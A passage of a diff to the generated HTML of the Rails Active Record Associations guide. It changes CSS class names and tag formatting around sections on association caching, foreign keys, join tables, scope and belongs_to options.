+<div class="paragraph"><p>All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -727,9 +538,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>customer<span style="color: #990000">.</span>orders <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-</tt></pre></div></div>
-<div class="para"><p>But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass <tt>true</tt> to the association call:</p></div>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span></tt></pre></div></div>
+<div class="paragraph"><p>But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass <tt>true</tt> to the association call:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -737,14 +547,13 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>customer<span style="color: #990000">.</span>orders <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
-customer<span style="color: #990000">.</span>orders<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">).</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># discards the cached copy of orders and goes back to the database</span></span>
-</tt></pre></div></div>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">).</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># discards the cached copy of orders and goes back to the database</span></span></tt></pre></div></div>
<h3 id="_avoiding_name_collisions">3.2. Avoiding Name Collisions</h3>
-<div class="para"><p>You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of <tt>ActiveRecord::Base</tt>. The association method would override the base method and break things. For instance, <tt>attributes</tt> or <tt>connection</tt> are bad names for associations.</p></div>
+<div class="paragraph"><p>You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of <tt>ActiveRecord::Base</tt>. The association method would override the base method and break things. For instance, <tt>attributes</tt> or <tt>connection</tt> are bad names for associations.</p></div>
<h3 id="_updating_the_schema">3.3. Updating the Schema</h3>
-<div class="para"><p>Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For <tt>belongs_to</tt> associations you need to create foreign keys, and for <tt>has_and_belongs_to_many</tt> associations you need to create the appropriate join table.</p></div>
+<div class="paragraph"><p>Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For <tt>belongs_to</tt> associations you need to create foreign keys, and for <tt>has_and_belongs_to_many</tt> associations you need to create the appropriate join table.</p></div>
<h4 id="_creating_foreign_keys_for_tt_belongs_to_tt_associations">3.3.1. Creating Foreign Keys for <tt>belongs_to</tt> Associations</h4>
-<div class="para"><p>When you declare a <tt>belongs_to</tt> association, you need to create foreign keys as appropriate. For example, consider this model:</p></div>
+<div class="paragraph"><p>When you declare a <tt>belongs_to</tt> association, you need to create foreign keys as appropriate. For example, consider this model:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -752,9 +561,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This declaration needs to be backed up by the proper foreign key declaration on the orders table:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This declaration needs to be backed up by the proper foreign key declaration on the orders table:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -772,11 +580,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>orders
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you create an association some time after you build the underlying model, you need to remember to create an <tt>add_column</tt> migration to provide the necessary foreign key.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you create an association some time after you build the underlying model, you need to remember to create an <tt>add_column</tt> migration to provide the necessary foreign key.</p></div>
<h4 id="_creating_join_tables_for_tt_has_and_belongs_to_many_tt_associations">3.3.2. Creating Join Tables for <tt>has_and_belongs_to_many</tt> Associations</h4>
-<div class="para"><p>If you create a <tt>has_and_belongs_to_many</tt> association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the <tt>:join_table</tt> option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.</p></div>
+<div class="paragraph"><p>If you create a <tt>has_and_belongs_to_many</tt> association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the <tt>:join_table</tt> option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -785,7 +592,7 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">The precedence between model names is calculated using the <tt>&lt;</tt> operator for <tt>String</tt>. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".</td>
</tr></table>
</div>
-<div class="para"><p>Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:</p></div>
+<div class="paragraph"><p>Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -797,9 +604,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>These need to be backed up by a migration to create the <tt>assemblies_parts</tt> table. This table should be created without a primary key:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>These need to be backed up by a migration to create the <tt>assemblies_parts</tt> table. This table should be created without a primary key:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -816,10 +622,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>assemblies_parts
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_controlling_association_scope">3.4. Controlling Association Scope</h3>
-<div class="para"><p>By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:</p></div>
+<div class="paragraph"><p>By default, associations look for objects only within the current module&#8217;s scope. This can be important when you declare Active Record models within a module. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -835,9 +640,8 @@ http://www.gnu.org/software/src-highlite -->
belongs_to <span style="color: #990000">:</span>supplier
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will work fine, because both the <tt>Supplier</tt> and the <tt>Account</tt> class are defined within the same scope. But this will not work, because <tt>Supplier</tt> and <tt>Account</tt> are defined in different scopes:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will work fine, because both the <tt>Supplier</tt> and the <tt>Account</tt> class are defined within the same scope. But this will not work, because <tt>Supplier</tt> and <tt>Account</tt> are defined in different scopes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -855,9 +659,8 @@ http://www.gnu.org/software/src-highlite -->
belongs_to <span style="color: #990000">:</span>supplier
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -875,17 +678,16 @@ http://www.gnu.org/software/src-highlite -->
belongs_to <span style="color: #990000">:</span>supplier<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"MyApplication::Business::Supplier"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_detailed_association_reference">4. Detailed Association Reference</h2>
<div class="sectionbody">
-<div class="para"><p>The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.</p></div>
+<div class="paragraph"><p>The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.</p></div>
<h3 id="_the_tt_belongs_to_tt_association_2">4.1. The <tt>belongs_to</tt> Association</h3>
-<div class="para"><p>The <tt>belongs_to</tt> association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use <tt>has_one</tt> instead.</p></div>
+<div class="paragraph"><p>The <tt>belongs_to</tt> association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use <tt>has_one</tt> instead.</p></div>
<h4 id="_methods_added_by_tt_belongs_to_tt">4.1.1. Methods Added by <tt>belongs_to</tt></h4>
-<div class="para"><p>When you declare a <tt>belongs_to</tt> assocation, the declaring class automatically gains five methods related to the association:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>When you declare a <tt>belongs_to</tt> assocation, the declaring class automatically gains five methods related to the association:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt><em>association</em>(force_reload = false)</tt>
@@ -912,7 +714,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>belongs_to</tt>. For example, given the declaration:</p></div>
+<div class="paragraph"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>belongs_to</tt>. For example, given the declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -920,9 +722,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the order model will have these methods:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Each instance of the order model will have these methods:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -932,29 +733,26 @@ http://www.gnu.org/software/src-highlite -->
customer<span style="color: #990000">=</span>
customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
build_customer
-create_customer
-</tt></pre></div></div>
+create_customer</tt></pre></div></div>
<h5 id="_tt_em_association_em_force_reload_false_tt"><tt><em>association</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
+<div class="paragraph"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer
-</tt></pre></div></div>
-<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer</tt></pre></div></div>
+<div class="paragraph"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
<h5 id="_tt_em_association_em_associate_tt"><tt><em>association</em>=(associate)</tt></h5>
-<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.</p></div>
+<div class="paragraph"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object&#8217;s foreign key to the same value.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span><span style="color: #990000">.</span>customer <span style="color: #990000">=</span> <span style="color: #009900">@customer</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@order</span><span style="color: #990000">.</span>customer <span style="color: #990000">=</span> <span style="color: #009900">@customer</span></tt></pre></div></div>
<h5 id="_tt_em_association_em_nil_tt"><tt><em>association</em>.nil?</tt></h5>
-<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
+<div class="paragraph"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -962,28 +760,25 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
<span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No customer found for this order"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_build_em_association_em_attributes_tt"><tt>build<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
+<div class="paragraph"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object&#8217;s foreign key will be set, but the associated object will <em>not</em> yet be saved.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>build_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>build_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h5 id="_tt_create_em_association_em_attributes_tt"><tt>create<em>_association</em>(attributes = {})</tt></h5>
-<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
+<div class="paragraph"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object&#8217;s foreign key will be set. In addition, the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>create_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>create_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h4 id="_options_for_tt_belongs_to_tt">4.1.2. Options for <tt>belongs_to</tt></h4>
-<div class="para"><p>In many situations, you can use the default behavior of <tt>belongs_to</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>belongs_to</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="paragraph"><p>In many situations, you can use the default behavior of <tt>belongs_to</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>belongs_to</tt> association. For example, an association with several options might look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -991,10 +786,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>belongs_to</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>belongs_to</tt> association supports these options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:class_name</tt>
@@ -1047,7 +841,7 @@ http://www.gnu.org/software/src-highlite -->
</li>
</ul></div>
<h5 id="_tt_class_name_tt"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is <tt>Patron</tt>, you'd set things up this way:</p></div>
+<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is <tt>Patron</tt>, you&#8217;d set things up this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1055,10 +849,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_conditions_tt"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1066,10 +859,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"active = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_counter_cache_tt"><tt>:counter_cache</tt></h5>
-<div class="para"><p>The <tt>:counter_cache</tt> option can be used to make finding the number of belonging objects more efficient. Consider these models:</p></div>
+<div class="paragraph"><p>The <tt>:counter_cache</tt> option can be used to make finding the number of belonging objects more efficient. Consider these models:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1080,9 +872,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With these declarations, asking for the value of <tt>@customer.orders.size</tt> requires making a call to the database to perform a <tt>COUNT(*)</tt> query. To avoid this call, you can add a counter cache to the <em>belonging</em> model:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With these declarations, asking for the value of <tt>@customer.orders.size</tt> requires making a call to the database to perform a <tt>COUNT(*)</tt> query. To avoid this call, you can add a counter cache to the <em>belonging</em> model:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1093,10 +884,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, Rails will keep the cache value up to date, and then return that value in response to the <tt>.size</tt> method.</p></div>
-<div class="para"><p>Although the <tt>:counter_cache</tt> option is specified on the model that includes the <tt>belongs_to</tt> declaration, the actual column must be added to the <em>associated</em> model. In the case above, you would need to add a column named <tt>orders_count</tt> to the <tt>Customer</tt> model. You can override the default column name if you need to:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>With this declaration, Rails will keep the cache value up to date, and then return that value in response to the <tt>.size</tt> method.</p></div>
+<div class="paragraph"><p>Although the <tt>:counter_cache</tt> option is specified on the model that includes the <tt>belongs_to</tt> declaration, the actual column must be added to the <em>associated</em> model. In the case above, you would need to add a column named <tt>orders_count</tt> to the <tt>Customer</tt> model. You can override the default column name if you need to:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1107,11 +897,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Counter cache columns are added to the containing model's list of read-only attributes through <tt>attr_readonly</tt>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Counter cache columns are added to the containing model&#8217;s list of read-only attributes through <tt>attr_readonly</tt>.</p></div>
<h5 id="_tt_dependent_tt"><tt>:dependent</tt></h5>
-<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method.</p></div>
+<div class="paragraph"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1121,7 +910,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h5 id="_tt_foreign_key_tt"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1129,8 +918,7 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Patron"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"patron_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
